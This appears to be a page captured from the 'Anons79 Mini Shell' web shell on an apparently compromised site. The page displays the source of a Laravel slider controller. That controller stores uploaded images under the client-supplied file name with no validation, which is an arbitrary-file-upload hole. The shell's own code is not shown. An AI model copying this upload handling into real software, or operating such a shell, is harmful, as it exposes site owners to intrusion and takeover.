Anons79 Mini Shell

Directory : /home/proudlyafrican/public_html/app/Http/Controllers/
Upload File :
Current File : /home/proudlyafrican/public_html/app/Http/Controllers/slidercontroller.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use DB;

class slidercontroller extends Controller
{
    //


    public function slider(){
        $sliders=DB::table('sliders')->get();
//        return $sliders;
//        echo "<pre>";
//        print_r($sliders);
//        exit();
        return view('admin.slider.list',array('sliders'=>$sliders));
    }
    public function add_slider(){
         return view('admin.slider.add');
    }
    public function insert_slider(Request $request){
        $image=$request->file('image');
        $image_name=$image->getClientOriginalName();
        $image->move('public/uploads/sliders/',$image_name);
        $data=array(
            'image'=>$image_name
        );
        DB::Table('sliders')->insert($data);
        return redirect('slider');
    }
    public function delete_slider($id){
       DB::Table('sliders')->where('id',$id)->delete();
        return redirect('slider');
    }

    public function edit_slider($id){
       $sliders= DB::Table('sliders')->where('id',$id)->get();
//        echo "<pre>";
//        print_r($sliders);
//        exit();
        return view('admin.slider.edit',array('sliders'=>$sliders));
    }
    public function update_slider(Request $request){
        $image=$request->file('image');
        if($image){
            $image=$request->file('image');
            $image_name=$image->getClientOriginalName();
            $image->move('public/uploads/sliders/',$image_name);
            $data=array(
                'title'=>$request['title'],
                'description'=>$request['description'],
                'image'=>$image_name
            );
            DB::Table('sliders')->where('id',$request['id'])->update($data);
        }
        else{
            $data=array(
                'title'=>$request['title'],
                'description'=>$request['description'],
            );
            DB::Table('sliders')->where('id',$request['id'])->update($data);
        }
        return redirect('slider');
    }

}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]